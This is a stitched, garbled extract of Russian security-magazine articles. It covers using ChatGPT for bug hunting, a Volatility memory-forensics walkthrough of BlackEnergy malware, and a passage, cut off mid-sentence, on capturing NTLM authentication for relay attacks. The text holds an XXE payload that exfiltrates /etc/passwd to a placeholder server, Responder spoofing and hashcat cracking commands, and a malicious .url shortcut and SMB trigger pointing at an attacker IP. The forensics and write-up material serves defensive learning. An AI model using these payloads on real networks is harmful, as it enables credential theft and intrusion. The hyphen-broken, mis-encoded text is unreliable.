        <email>bbbbbbbbbbbbbbb</email>
    </user>
</users>

Что бы про читать локаль ный файл /etc/passwd с исполь зовани ем XXE-уяз- 
вимос ти и внеш него DTD-фай ла, соз дай те сле дующий DTD-файл:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://your-server-url/
collect?data=%data;'>"> 
%param1; 

Äåîáôóñêàöèÿ è àíàëèç êîäà
Ис поль зовать ней росеть мож но и для авто мати чес кого ана лиза кода — что бы
про верить прог рамму на уяз вимос ти. ChatGPT про информи рует о потен- 
циаль ных сла бых мес тах и проб лемах безопас ности. Нап ример, скор ми ней- 
росети исходный код нес коль ких вза имос вязан ных сер висов, и она пос тара- 
ется ука зать на SQL-инъ екции, CRLF, cross-site scripting, SSTI и мно гие дру гие
воз можные проб лемы.

Еще ней росеть будет полез на для деоб фуска ции. Обфусци рован ный код
сей час мож но встре тить в любом мобиль ном или веб-при ложе нии. Обыч но
это зат рудня ет ана лиз прог раммы, но ней росеть может рас путать всё, что
люди запута ли.

Сей час ChatGPT уме ет раз ворачи вать обфусци рован ный код в обыч ный
исходник толь ко в самых прос тых слу чаях, но даже в слож ных она серь езно
помога ет реконс тру иро вать код и зна читель но повысить понят ность алго рит- 
ма.

Поп робу ем на прак тике.

Çàï ðîñ
Де обфусци руй код на JS:

x='',X=!x+x,xx=!X+x,xX=x+{},Xx=X[x++],XX=X[Xxx=x],
XxX=++Xxx+x,xxx=xX[Xxx+XxX],
X[xxx+=xX[x]+(X.xx+xX)[x]+xx[XxX]+Xx+XX+X[Xxx]+
xxx+Xx+xX[x]+XX][xxx](xx[x]+xx[Xxx]+X[XxX]+XX+Xx+"(x)")()

Ôðàã ìåíò îòâå òà

   const emptyString = '';
   const _true = 'true';
   const _false = 'false';
   const objectString = '[object Object]';
   const t = 't';
   const r = 'r';
   const c = 'c';
   const constructorString = 'constructor';
   const alertFunction = Function('alert(x)');

alertFunction();

Итак, дан ный код соз дает и выпол няет фун кцию, которая вызыва ет ,
где  — пус тая стро ка.

alert(x)
x

ÑÎÑÒÀÂËÅÍÈÅ ÎÒ×ÅÒÀ

Нель зя забывать, что, кро ме тех ничес кой час ти, ChatGPT поз воля ет авто- 
мати зиро вать самую рутин ную часть любого иссле дова ния — написа ние
отче та.

Дос таточ но ука зать, какой тип уяз вимос ти, в каком парамет ре и на каком
URL был выяв лен, что бы получить пол ное, деталь ное опи сание уяз вимос ти
и рекомен дации, как ее испра вить.

Çàï ðîñ
Я обна ружил Reected XSS в панели адми нис три рова ния сай та по такому
адре су:

https://website.com/admin/path?parameter=<script>alert(1)</script> 

На пиши отчет для баг баун ти-прог раммы по этой уяз вимос ти.

Îò âåò
Крат кое опи сание: я обна ружил уяз вимость отра жен ного кросс-сай тового
скрип тинга (XSS) в панели адми нис тра тора сай та (...). Эта уяз вимость поз- 
воля ет зло умыш ленни ку внед рять вре донос ные скрип ты, что может при вес ти
к рас кры тию кон фиден циаль ной информа ции или несан кци они рован ным
дей стви ям от име ни жертв.

Ша ги для вос про изве дения: (...)
Воз дей ствие: уяз вимость XSS поз воля ет зло умыш ленни ку выпол нять про- 

изволь ный JavaScript-код в кон тек сте бра узе ра жер твы, что потен циаль но
может при вес ти к рас кры тию кон фиден циаль ной информа ции (нап ример,
сес сион ных кук, токенов CSRF) или несан кци они рован ным дей стви ям от име- 
ни жер твы (нап ример, изме нение поль зователь ских дан ных или нас тро ек).

Ре комен дации: для устра нения этой уяз вимос ти рекомен дует ся кор рек тно
про верять вход ные дан ные и кодиро вать вывод дан ных, пре дос тавлен ных
поль зовате лем, осо бен но в парамет рах URL. Кро ме того, рас смот рите воз- 
можность при мене ния политик безопас ности содер жимого (CSP) для пре- 
дот вра щения выпол нения неав торизо ван ных скрип тов.

Ссыл ки:
1. CWE-79: Неп равиль ное обез вре жива ние вво да при генера ции веб-стра- 

ницы «Кросс-сай товый скрип тинг»
2. Стан дарт верифи кации безопас ности при ложе ний OWASP (ASVS) 3.1:

Про вер ка вво да

ÂÛÂÎÄÛ

В течение нес коль ких недель я активно баг хантил и упро щал свою деятель- 
ность с помощью ChatGPT. За этот пери од на прос торах интерне та появи лись
новые наработ ки: по интегра ции ChatGPT с Burp Suite, Nessus и дру гими инс- 
тру мен тами нас тупатель ной безопас ности.

Ду маю, боль шие язы ковые модели ско ро будут при менять ся пов семес тно,
вклю чая, конеч но же, сфе ры ИТ и ИБ. Да, зачас тую ней росеть не дает пол ный,
кор рек тный и под робный ответ с пер вого раза и лишь отве чает общи ми фра- 
зами. Это тре бует от ауди тора опре делен ных зна ний, к тому же нуж но быть
готовым при менять и дру гие инс тру мен ты, при чем иног да кре атив но (с чем
у ИИ пока проб лемы). Тем не менее стать мам киным кул хацке ром с таким
помощ ником будет про ще, чем ког да-либо. © X
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ВЗЛОМ

Не ред ко зло умыш ленни ки ата куют компь- 
юте ры с исполь зовани ем неус танов ленных
вре донос ных прог рамм, и все, что оста ется
пос ле такого инци ден та у спе циалис тов
по кибер безопас ности, — дамп памяти
ском про мети рован ной машины. Нуж но
извлечь отту да файл вре доно са, иден- 
тифици ровать его и вос ста новить хро ноло- 
гию ата ки.

В этой статье мы про ведем рас сле дова ние подоб ного инци ден та на при мере
лабора тор ной работы  с ресур са . Мы научим ся
извле кать основные арте фак ты из обра за опе ратив ной памяти Windows
и вос ста новим про цесс ата ки.

BlackEnergy CyberDefenders

Сог ласно сце нарию, круп ная кор порация под вер глась кибера таке,
которая при вела к кра же кон фиден циаль ных дан ных. Ата ка была про веде на
с исполь зовани ем ранее не встре чав шей ся раз новид ности вре доно са Black-
Energy v2. Груп па реаги рова ния на инци ден ты сде лала дамп памяти ском про- 
мети рован ного компь юте ра для даль нейше го изу чения. Наша задача — про- 
вес ти рас сле дова ние и разоб рать ся, что все-таки про изош ло.

По резуль татам решения кей са необ ходимо отве тить на ряд воп росов,
но я покажу толь ко само решение. Ты смо жешь пов торить весь про цесс
самос тоятель но, что бы луч ше разоб рать ся и зак репить матери ал.

Для начала заг рузим файл  с арте фак тами и прис тупим к его иссле- 
дова нию.

ар хива

Для ана лиза памяти вос поль зуем ся ути литой  —
этот инс тру мент написан на Python вер сии 2 и пред назна чен для извле чения
арте фак тов из образцов энер гозави симой памяти.

Volatility Framework 2.6.1

ÈÑÏÎËÜÇÓÅÌÛÅ ÏËÀÃÈÍÛ VOLATILITY2 ÄËß ÈÇÂËÅ×ÅÍÈß
ÄÀÍÍÛÕ
1.  — пла гин для опре деле ния опе раци онной сис темы, пакета

обновле ний и аппа рат ной архи тек туры иссле дуемо го обра за.
Imageinfo

2.  — пла гин для прос мотра спис ка про цес сов в виде дерева.Pstree

3.  — пла гин для прос мотра откры тых дес крип торов к фай лам, раз- 
делам реес тра, мьютек сам, име нован ным каналам, событи ям в про цес- 
сах. Так же мож но отоб разить дек срип торы для кон крет ного про цес са
или отфиль тро вав их по кон крет ному типу объ екта.

Handles

4.  — пла гин для поис ка команд, которые зло умыш ленни ки вве ли
в . Основным пре иму щес твом это го пла гина явля ется то, что он
не толь ко выводит коман ды, вве ден ные зло умыш ленни ками, но и собира ет
весь экранный буфер (ввод и вывод).

Consoles

cmd.exe

5.  — пла гин для извле чения всех резиден тных стра ниц памяти
в про цес се.
Memdump

6.  — пла гин для поис ка объ ектов  в памяти
с помощью ска ниро вания тегов пула. Дан ный пла гин най дет все откры тые
фай лы.

Filescan FILE_OBJECT

7.  — пла гин для извле чения кеширо ван ных фай лов из обра за
памяти.
Dumpfiles

8.  — пла гин для поис ка зна чений в ука зан ном раз деле реес тра
Windows.
Printkey

9.  — пла гин для получе ния информа ции из клю ча реес тра
UserAssist.
Userassist

10.  — этот пла гин ска ниру ет записи глав ной таб лицы фай лов
(MFT) в памяти и выводит информа цию о вре мен ных мет ках фай лов.
Mftparser

11.  — пла гин для поис ка скры того или внед ренно го в память про цес- 
сов кода.
Malfind

12.  — пла гин для соз дания вре мен ной шка лы событий опе раци- 
онной сис темы из раз личных арте фак тов памяти.
Timeliner

13.  — пла гин для поис ка нес вязан ных биб лиотек.Ldrmodules

ÈÑÑËÅÄÎÂÀÍÈÅ ÎÁÐÀÇÀ ÏÀÌßÒÈ
Преж де чем ана лизи ровать арте фак ты в опе ратив ной памяти, получим про- 
филь опе раци онной сис темы, а так же пер вичную информа цию о компь юте ре.
Для это го исполь зует ся сле дующая коман да:

python2.7 vol.py -f CYBERDEF-567078-20230213-171333.raw imageinfo 

Про филь для  иссле дуемой машины — . Получим
пер вичную информа цию о сис теме, имя компь юте ра и сетевой адрес.
Для это го вос поль зуем ся пла гином Printkey, с помощью которо го выведем
дан ные из клю чей реес тра.

Volatility2 WinXPSP2x86

  
python2.7 vol.py  -f c79-BE/CYBERDEF-567078-20230213-171333.raw 
--profile=WinXPSP2x86 printkey -K 'ControlSet001\Control\
ComputerName\ActiveComputerName'

Имя компь юте ра

Имя компь юте ра иссле дуемой сис темы — . Получим
сетевой адрес, для это го необ ходимо опре делить иден тифика торы сетевых
интерфей сов.

CYBERDEF-567078

  
python2.7 vol.py  -f /mnt/c/Users/DonNod/Downloads/c79-BE/CYBERDEF-
567078-20230213-171333.raw --profile=WinXPSP2x86 printkey -K
'ControlSet001\Services\Tcpip\Parameters\Interfaces'

Иден тифика торы сетевых интерфей сов

Те перь про верим каж дый сетевой интерфейс и получим сетевые нас трой ки
машины.

  
python2.7 vol.py  -f c79-BE/CYBERDEF-567078-20230213-171333.raw 
--profile=WinXPSP2x86 printkey -K 'ControlSet001\Services\Tcpip\
Parameters\Interfaces\{B35F0A5F-EBC3-4B5D-800D-7C1B64B30F14}'

IP-адрес сетево го интерфей са

Се тевой адрес иссле дуемой машины  выдан динами чес ки
DHCP-сер вером .

192.168.8.195
192.168.8.1

Прис тупим к поис ку вре донос ной активнос ти. Нач нем с ана лиза про цес- 
сов, для это го вос поль зуем ся пла гина ми pstree и pslist. Вывод работы пла- 
гинов сох раним в фай лы для удобс тва даль нейше го иссле дова ния.

python2.7 vol.py  -f  c79-BE/CYBERDEF-567078-20230213-171333.raw 
--profile=WinXPSP2x86 pslist >  pslist.txt 

Спи сок запущен ных про цес сов

Ана лизи руя вывод пла гина pslist, мож но заметить, что на момент сня тия обра- 
за памяти в сис теме работа ло 19 про цес сов. В стол бце  ука зано вре мя
завер шения про цес сов, 6 про цес сов завер шили свою работу.

Exit

Про ана лизи руем про цес сы с помощью пла гина pstree.

python2.7 vol.py  -f  c79-BE/CYBERDEF-567078-20230213-171333.raw 
--profile=WinXPSP2x86 pstree >  pstree.txt 

Вы вод пла гина pstree

Ана лизи руя дерево про цес сов, мож но заметить про цесс с инте рес ным име- 
нем  (иден тифика тор ), а так же про цесс  (иден- 
тифика тор ), который явля ется дочер ним.

rootkit.exe 964 cmd.exe
1960

Те перь сле дует получить дамп дан ных про цес сов и поис кать в них инте- 
рес ные стро ки, для это го мож но вос поль зовать ся пла гином memdump.
В нашем слу чае поиск не дает резуль татов. Поп робу ем выг рузить исполня- 
емый файл вре донос ной прог раммы из кеша.

По лучим спи сок фай лов в памяти, для это го вос поль зуем ся пла гином les-
can, сох раним вывод в файл  для даль нейше го поис ка фай лов.filescan.txt

python2.7 vol.py  -f c79-BE/CYBERDEF-567078-20230213-171333.raw 
--profile=WinXPSP2x86 filescan > c79-BE/filescan.txt 

По иск исполня емо го фай ла  в спис ке фай лов не дал резуль- 
татов. Поп робу ем пос тро ить вре мен ную шка лу событий опе раци онной сис- 
темы и вос ста новим дей ствия поль зовате ля. Для это го вос поль зуем ся пла- 
гином timeliner, вывод работы пла гина сох раним в файл .

rootkit.exe

timeline.txt

python2.7 vol.py  -fc79-BE/CYBERDEF-567078-20230213-171333.raw 
--profile=WinXPSP2x86 timeliner > c79-BE/timeline.txt 

Для удобс тва ана лиза заг рузим файл событий в Excel. Откро ем прог рамму
MS Office Excel, перей дем на вклад ку «Дан ные → Из тек сто вого фай ла»
и выберем файл . Далее отсорти руем дан ные по дате и прис- 
тупим к ана лизу.

timeline.txt

Вре мен ная шка ла событий

13.02.2023 в 18:25:26 (UTC) соз даны про цес сы  (иден тифика тор
) и  (иден тифика тор ). Поп робу ем выяс нить, кто запус тил

файл . Для это го про ана лизи руем ключ  реес тра
Windows. Дан ный ключ пред назна чен для отсле жива ния выпол няемых прог- 
рамм. Информа ция пред став лена в дво ичных зна чени ях и содер жит дан ные
о при ложе ниях, запущен ных опре делен ным поль зовате лем из про вод ника
Windows.

rootkit.exe
964 cmd.exe 1960

rootkit.exe UserAssist

python2.7 vol.py  -f c79-BE/CYBERDEF-567078-20230213-171333.raw 
--profile=WinXPSP2x86 userassist 

Вы вод пла гина UserAssist

Поль зователь  запус тил файл . Про дол жим ана- 
лизи ровать вре мен ную шка лу событий.

CyberDefenders rootkit.exe

Пос ле запус ка фай ла  в сис теме была соз дана служ ба 
. Най дем парамет ры служ бы, для это го выведем содер жимое клю ча

реес тра, исполь зуя пла гин printkey.

rootkit.exe HVK-
LZDZ

 
python2.7 vol.py  -f c79-BE/CYBERDEF-567078-20230213-171333.raw 
--profile=WinXPSP2x86 printkey -K 'CONTROLSET001\SERVICES\HVKLKZDZ'

Па рамет ры служ бы HVKLKZDZ

Служ ба  запус кает файл драй вера . Выг рузим
этот файл и най дем его вир туаль ный адрес в фай ле , который
был получен из вывода пла гина lescan.

HVKLKZDZ suzmkbtuoyeki.sys
filescan.txt

Ад рес фай ла драй вера

С помощью пла гина dumples выг рузим файл , ука жем
в качес тве парамет ра его адрес в памяти.

suzmkbtuoyeki.sys

python2.7 vol.py  -f c79-BE/CYBERDEF-567078-20230213-171333.raw 
--profile=WinXPSP2x86 dumpfiles -Q 0x000000000994af90 -D c79-BE/ 

MD5-сум ма извле чен ного фай ла — ,
про вер ка на  показа ла, что файл — вре донос.

3f35ed5fe80e2c1bf90af5ff3b6688ea
VirusTotal

По лучим дату соз дания это го фай ла, для чего вос поль зуем ся пла гином
mftparser.

python2.7 vol.py  -f c79-BE/CYBERDEF-567078-20230213-171333.raw 
--profile=WinXPSP2x86 mftparser > c79-BE/mftparser 

Да та соз дания фай ла драй вера

В 18:25:26 (UTC) соз дан файл драй вера .suzmkbtuoyeki.sys
Про дол жаем ана лизи ровать про цес сы с помощью пла гина malnd. Этот

пла гин помога ет в поис ке внед ренно го кода в про цес сах на осно ве ана лиза
 и прав дос тупа к стра нице.VAD-струк тур

python2.7 vol.py  -f c79-BE/CYBERDEF-567078-20230213-171333.raw 
--profile=WinXPSP2x86 malfind > c79-BE/malfind.txt 

Вы вод пла гина malnd

В сег менте памяти по адре су  про цес са  (иден тифика- 
тор ) обна ружен исполня емый код, о чем сви детель ству ет сиг натура MZ.
В этот про цесс внед рена DLL-биб лиоте ка. Най дем ее.

0x980000 svchost.exe
880

Поп робу ем най ти фай лы, откры тые в ука зан ном про цес се, для чего вос- 
поль зуем ся пла гином handles.

 880 
python2.7 vol.py  -f c79-BE/CYBERDEF-567078-20230213-171333.raw 
--profile=WinXPSP2x86 handles -t FILE -p > c79-BE/handles_file.
txt 

Фай ловый хендл про цес са svchost.exe

Ана лиз хен длов исполня емо го фай ла показы вает, что вре донос обра щал ся
к фай лу драй вера . Поиск фай ла

 в спис ке фай лов не дал резуль татов.
C:\WINDOWS\system32\drivers\str.sys

str.sys
По лучим дамп внед ренно го учас тка кода с сиг натурой MZ и прос каниру ем

анти вирус ными средс тва ми. Для это го вос поль зуем ся пла гином malnd
с аргу мен том .-D

 880 
python2.7 vol.py  -f c79-BE/CYBERDEF-567078-20230213-171333.raw 
--profile=WinXPSP2x86 malfind -p -D c79-BE/ 

MD5-сум ма внед ренной DLL-биб лиоте ки — 
, по информа ции на  этот модуль отно сит ся к семей ству вре- 

доно сов Rootkit.BlackEnergy.

20020a9d850bd496954d8c21d-
fa614be VirusTotal

Про дол жаем искать путь к внед ренно му DLL-фай лу. Но для начала раз- 
берем ся в методе детек тирова ния уда лен ного внед рения DLL-биб лиоте ки
в про цесс.

Струк тура  содер жит све дения о про цес се. В дан ной струк туре есть
ука затель , содер жащий све дения о заг ружен ных модулях
для про цес са.

PEB
_PEB_LDR_DATA

Струк тура _PEB_LDR_DATA

Струк тура  име ет ука зате ли на три двус вязных спис ка,
в которых хра нит ся информа ция о заг ружен ных DLL для это го про цес са.

_PEB_LDR_DATA

 — этот спи сок отсле жива ет DLL в зависи мос ти
от поряд ка их заг рузки в память про цес са. Исполня емый файл про цес са
заг ружа ется пер вым при заг рузке про цес са, чаще все го это пер вая
запись.

• InLoadOrderModuleList

 — опре деля ет порядок, в котором модули
появ ляют ся в вир туаль ной памяти про цес са.

• InMemoryOrderModuleList

 — не вклю чает запись
для исполня емо го фай ла про цес са ( ), который обыч но дос тупен
в осталь ных спис ках. При чина кро ется в том, что 

 отсле жива ет DLL на осно ве фун кции . Пос коль ку исполня- 
емый файл про цес са не име ет фун кции , он заг ружа ется не так,
как обыч ная DLL.

• InInitializationOrderModuleList

.exe

InInitialization�
Order dllmain

dllmain

Пла гин dlllist работа ет толь ко с . Проб лема в том, что иног да
вре донос ные биб лиоте ки могут быть отклю чены от это го спис ка, что бы
скрыть свое при сутс твие. Это так же пов лияет на вывод пла гина dlllist, пос- 
коль ку информа ция о нес вязан ных биб лиоте ках не будет отоб ражать ся.
В этом слу чае на помощь при ходит пла гин ldrmodules, так как он выводит
информа цию из всех трех спис ков и пре дос тавля ет дан ные о наличии биб- 
лиоте ки в каж дом из них.

LoadOrderList

 880 
python2.7 vol.py  -f c79-BE/CYBERDEF-567078-20230213-171333.raw 
--profile=WinXPSP2x86 ldrmodules -p

Вы вод пла гина ldrmodules

Ана лизи руя вывод пла гина ldrmodules, мож но заметить имя DLL-фай ла 
, который име ет зна чение False во всех трех спис ках. Вре донос ный

код отвя зыва ет внед ренную биб лиоте ку от спис ка 
с целью ее сок рытия.

msxm-
l3r.dll

_LDR_DATA_TABLE_ENTRY

На этом эта пе мы вос ста нови ли кар тину взло ма информа цион ного ресур- 
са орга низа ции. Поль зователь  13.02.2023 в 18:25:36 запус- 
тил файл , который соз дал служ бу  для запус ка фай ла
драй вера . Далее служ ба успешно запус тилась, и в про- 
цесс  (иден тифика тор ) была внед рена динами чес кая биб- 
лиоте ка , которая явля ется основной наг рузкой вре доно са
BlackEnergy.

CyberDefenders
rootkit.exe HVKLZDZ
suzmkbtuoyeki.sys

svchost.exe 880
msxml3r.dll

Ана лизи руя вре мен ную шка лу событий пос ле запус ка фай ла ,
мы обна ружи ли откры тие фай лов  и . Вос ста новим их
содер жимое.

rootkit.exe
Key.txt flag.txt.txt

Вре мен ная шка ла событий

В 18:28:25 (UTC) поль зователь открыл файл  и поч ти сра зу сле дом —
. Вос ста новим эти фай лы с помощью пла гина dumples и рас- 

шифру ем содер жимое фай ла .

Key.txt
flag.txt.txt

flag.txt.txt

Со дер жимое фай ла ag.txt.txt

Со дер жимое фай ла Key.txt

Для написа ния алго рит ма рас шифров ки вос поль зуем ся сер висом .
Крип тогра фичес кий алго ритм рас шифров ки — AES-256 в режиме ECB, ключ
ука зан в фай ле .

CyberChef

Key.txt

Ал горитм рас шифров ки фай ла

ÂÛÂÎÄÛ
Мы поп ракти кова лись в иссле дова нии обра за опе ратив ной памяти, вос ста- 
нови ли вре мен ную шка лу событий и научи лись детек тировать уда лен ное
внед рение DLL-биб лиоте ки в про цесс. Так же мы обна ружи ли вре донос ную
прог рамму и вос ста нови ли фай лы из обра за памяти. Подоб ный метод ата ки
час то исполь зует ся зло умыш ленни ками, поэто му опи сан ные в этой статье
при емы при меня ются на прак тике при рас сле дова нии киберин циден тов. © X
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ЗАХВАТЫВАЕМ
NTLM-АУТЕНТИФИКАЦИЮ

ДЛЯ RELAY-АТАКИ

DrieVlad
vlad.driev@gmail.com

ВЗЛОМ

По чему мы до сих пор встре чаем NTLM-
аутен тифика цию во мно гих инфраструк- 
турах? Потому что Windows не может
сущес тво вать без нее. Но у NTLM-аутен- 
тифика ции есть целый ряд проб лем,
которы ми поль зуют ся зло умыш ленни ки.
Одна из них — это воз можность Relay-атак.
В этой статье мы обсу дим спо собы зах вата
аутен тифика ции для про веде ния Relay-ата- 
ки.

ÒÅÎÐÈß

NTLM — это про токол про вер ки под линнос ти в сетях Windows NT. На самом
деле он переко чевал и в дру гие домены, нап ример ALD или FreeIPA. Что бы
не закапы вать ся глу боко в теорию, пос тара юсь объ яснить прин цип его
работы на прос той схе ме.

Схе ма NTLM-аутен тифика ции

1. Кли ент ини циирует про цесс про хож дения аутен тифика ции спе циаль ным
сооб щени ем.

2. Сер вер отправ ляет некото рое слу чай ное зна чение кли енту.
3. Кли ент шиф рует слу чай ное зна чение сво им сек ретом и отправ ляет

на про вер ку сер веру.

В прос том слу чае все понят но: есть кли ент, есть сер вер, кли ент про ходит
аутен тифика цию по про токо лу NTLM. Добавим остро ты в нашу схе му: теперь
у нас появ ляет ся некий ата кующий.

Схе ма NTLM Relay

Из схе мы мы понима ем, что ата кующий на сво ей рабочей стан ции сра зу раз- 
ворачи вает и сер вер, и кли ент для вза имо дей ствия по про токо лу NTLM.
Для улуч шения вос при ятия пояс ним, что про исхо дит на схе ме.
1. Кли ент (жер тва) отправ ляет сооб щение о начале NTLM-аутен тифика ции —

NEGOTIATE. Ата кующий перех ватыва ет это сооб щение с помощью сво его
сер вера.

2. Ата кующий отправ ляет со сво его кли ента сооб щение о начале NTLM-
аутен тифика ции — NEGOTIATE на целевой сер вер.

3. С целево го сер вера ата кующе му при ходит сооб щение со слу чай ным зна- 
чени ем — CHALLENGE.

4. Ата кующий отправ ляет сооб щение с таким же CHALLENGE, как на треть ем
шаге, жер тве.

5. Жер тва шиф рует CHALLENGE сво им NTLM-хешем и отправ ляет сер веру.
6. Ата кующий перех ватыва ет ответ жер твы и пересы лает его сер веру. Ата- 

кующий успешно про ходит аутен тифика цию на целевом сер вере.

Схе ма в целом понят на, но при про веде нии ата ки быва ют нюан сы,
про которые нуж но знать. Во-пер вых, NTLM не сущес тву ет в ваку уме, ее
исполь зуют раз личные про токо лы, такие как SMB, LDAP или RPC. Во-вто рых,
при про хож дении аутен тифика ции могут исполь зовать ся раз ные хеши: Net-
NTLMv1 и NetNTLMv2. Эти хеши име ют свои осо бен ности, от которых может
зависеть резуль тат про веде ния ата ки.

Су щес тву ет две вер сии про токо ла: NTLMv1 и NTLMv2. В NTLMv1 исполь- 
зует ся хеш NetNTLMv1, и он без надеж но уста рел:

Из слу чай нос тей там толь ко CHALLENGE, который при сыла ет сер вер. Зна- 
чит, при под делке сер вера мож но под делать и CHALLENGE и, соот ветс- 
твен но, под готовить радуж ные таб лицы.

•

Так же сущес тву ют методы вос ста нов ления из хеша NetNTLMv1 хеша NT.
Под робнее об этом мож но почитать на сай те .

•
Crack.SH

От сутс тву ет про вер ка целос тнос ти сооб щения (MIC — message integrity
code), которая защища ет от Relay-атак с одно го про токо ла на дру гой.

•

Как мож но догадать ся, в NTLMv2 исполь зует ся хеш NetNTLMv2. В нем раз- 
работ чики пос тарались решить все проб лемы про токо ла NTLMv1. Дей стви- 
тель но, мож но ска зать, что обра тить этот хеш за разум ное вре мя хотя бы
до NT пока не пред став ляет ся воз можным. Под готовить радуж ные таб лицы
не получит ся, потому что к CHALLENGE добави лась мет ка вре мени. А вот
с Relay-ата ками не все так однознач но, но об этом мы погово рим в дру гой
раз.

В этой статье будут рас смот рены некото рые вари анты зах вата NTLM-
аутен тифика ции для реали зации Relay-атак. В сле дующей мы обсу дим непос- 
редс твен но Relay-ата ки.

Са мое прос тое, что мож но сде лать с получен ным NetNTLM-хешем любой
вер сии, — это подоб рать пароль по сло варю. Нап ример, так:

 hashcat -a0 -m 5500 hash wordlist -r rules (NetNTLMv1)
 hashcat -a0 -m 5600 hash wordlist -r rules (NetNTLMv2)

ÇÀÕÂÀÒ Ñ RESPONDER

Один из самых прос тых спо собов получить NTLM-аутен тифика цию — спу финг
с помощью Responder (этот инс тру мент мож но най ти в Kali).

Мож но запус тить NetBIOS spoong с помощью
Responder и получен ную аутен тифика цию
исполь зовать для Relay-ата ки. Для это го нуж но
прос то отклю чить в кон фиге сер вера Responder
SMB, HTTP и DCE RPC, что бы не воз никло кон- 
флик та с ntlmrelayx. Пос ле это го запус тить Re-
sponder и ntlmrelayx.

Уве рен, что мно гие уже исполь зовали этот инс тру мент для зах вата хешей,
поэто му крат ко про бежим ся по основным фун кци ям. Responder пре дос тавля- 
ет поль зовате лю набор сер веров для зах вата и обра бот ки аутен тифика ций.

Спи сок сер веров Responder

Зах ват хеша с Responder выг лядит при мер но сле дующим обра зом.

Зах ват NetNTLM-хеша с помощью Responder

Этот фор мат при годен для бру та с помощью hashcat. Все зах вачен ные хеши
Responder скла дыва ет в базу SQLite, рас положен ную по пути 

. Открыть базу мож но сле дующей коман дой:
/usr/share/

responder/Responder.db

sqlitebrowser /usr/share/responder/Responder.db 

Внеш ний вид Responder.db

Файл кон фигура ции Responder находит ся здесь: 
. Эта информа ция может при годить ся, если надо будет вык лючить

или вклю чить опре делен ный сер вер. На скри не ниже изоб ражен файл кон- 
фигура ций .

/etc/responder/Respon-
der.conf

Responder.conf

Кон фиг Responder.conf

Responder незаме ним для реали зации спу финг-атак в сетях на осно ве Win-
dows. Пред посыл кой для выпол нения ата ки типа NetBIOS Spoong слу жит
наличие в сети широко веща тель ного тра фика типа NBNS, LLMNR и mDNS.
Тра фик в сети мож но прос лушивать с помощью Wireshark, при меняя филь тр
NBNS.

NBNS-тра фик в сети

Вмес то визу аль ного ана лиза тра фика можем прос то запус тить Responder
в режиме ана лиза сле дующей коман дой:

responder -I eth0 -A

Пос ле запус ка получа ем при мер но такую кар тину, можем про бовать спу финг.

Responder в режиме ана лиза

Спу финг-ата ки для зах вата аутен тифика ции мож но выпол нять сле дующей
коман дой:

responder -I eth0 -dwF

Ес ли ата ка уда лась, перехо дим к сле дующим шагам.

Ре зуль тат выпол нения спу финг-ата ки

ÇÀÕÂÀÒ NTLM-ÀÓÒÅÍÒÈÔÈÊÀÖÈÈ ÄËß RELAY-ÀÒÀÊ

Для выпол нения Relay-атак удоб нее все го исполь зовать ntlmrelayx из пакета
impacket. В этом инс тру мен те реали зова ны час то встре чающиеся про токо лы,
с которых мож но зах ватить NTLM-аутен тифика цию. Вооб ще, ntlmrelayx име ет
кли ент-сер верную модель, и в этой статье мы как раз обсу дим все Relay-
Servers, реали зован ные в нем, и даже добавим новый, которо го еще нет
в основной вет ке.

Сто ит сра зу отме тить, что пор ты, которые прос- 
лушива ют сер веры RelayServer ntlmrelayx, мож но
сме нить. Это может при годить ся при реали зации
слож ных атак.

SMB (445/TCP)

Про токол SMB с точ ки зре ния Relay-атак наибо лее изу чен ный и популяр ный,
поэто му и спо собов зах вата аутен тифика ции с SMB боль ше все го. Вот нес- 
коль ко вари антов того, как это мож но сде лать:
1. Про вес ти coerce-ата ку (при нуж дение к аутен тифика ции):

ано ним но — с помощью PetitPotam (CVE-2021-36942);•
с учет ной записью.•

2. Исполь зовать ярлы ки на шарах с дос тупом на запись:
ано ним но;•
с учет ной записью.•

3. Стриг герить вруч ную.
4. Про вес ти MITM-ата ку.

Coerce-àòàêè
С coerce-ата ками мы сей час под робно раз бирать ся не будем. Сто ит упо- 
мянуть, что если у нас есть учет ная запись, то coerce уже не уяз вимость,
а осо бен ность архи тек туры.

При нуж дать мож но любым удоб ным скрип том, нап ример  —
на сегод няшний день он под держи вает поч ти все извес тные методы при нуж- 
дения, в том чис ле без учет ной записи.

Coercer.py

Coerce-ата ки мож но выпол нять не толь ко с 445-го
пор та, но и с 139, 135 и 4915-го пор тов. Под- 
робнее об этом, а так же о методах защиты
от этих атак читай на « ».Хаб ре

При мер исполь зования  показан на рисун ке ниже.Coercer.py

За пуск Coercer.py

В резуль тате при нуж дения мы получа ем NTLM-аутен тифика цию.

Ре зуль тат выпол нения coerce-ата ки

Важ но отме тить, что в резуль тате выпол нения такой ата ки мы получа ем имен- 
но  учет ную запись, это необ ходимо пом нить при пла ниро вании
Relay-атак.

ìà øèí íóþ

ßðëûêè
Тех ники с ярлычка ми доволь но ста рые и дей ствен ные, называ ются они slinky
и scuffy. Если в сети при сутс тву ют пап ки, откры тые на запись, обя затель но
нуж но положить в них ярлычки, которые будут ссы лать ся на IP-адрес ата- 
кующе го. Как толь ко поль зователь откро ет сетевую пап ку с нашим ярлы ком,
нам при летит NTLM-аутен тифика ция на SMB. Реали зовать ата ку мож но нес- 
коль кими спо соба ми:

при помощи ути литы PyLnk 3 (есть в Kali);•
при помощи CrackMapExec (тоже есть в Kali);•
вруч ную.•

Для экспе римен та выберем тре тий вари ант и будем исполь зовать тех нику,
которая нем ного отли чает ся от slinky и scuffy. Содер жимое фай ла с рас- 
ширени ем  будет при мер но сле дующим:.url

[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\<attacker IP>\%USERNAME%.icon
IconIndex=1

По ложи ли ярлык в сетевую пап ку, переш ли в нее и получи ли NTLM-аутен- 
тифика цию, как показа но на сле дующих рисун ках.

Пе рехо дим в сетевую пап ку, где рас положен ярлык.

По ложи ли ярлык в сетевую пап ку

Сра зу же при лета ет NTLM-аутен тифика ция.

Ре зуль тат раз мещения ярлы ка в сетевой пап ке

В при мере хеш зах вачен с помощью Responder, на прак тике же мож но запус- 
тить ntlmrelayx и выпол нить Relay-ата ку.

Òðèããåðèì âðó÷íóþ
Ес ли сло жилась ситу ация, ког да мы можем выпол нять код на домен ной
машине, нап ример сбру тил ся PostgreSQL и из него нам уда лось выпол нить
код, мож но поп робовать стриг герить аутен тифика цию по SMB прос той
коман дой в cmd:

 dir \\<attacker IP >\a

MITM
Су щес тву ет целый ряд атак, которые могут поз волить ата кующе му ока зать ся
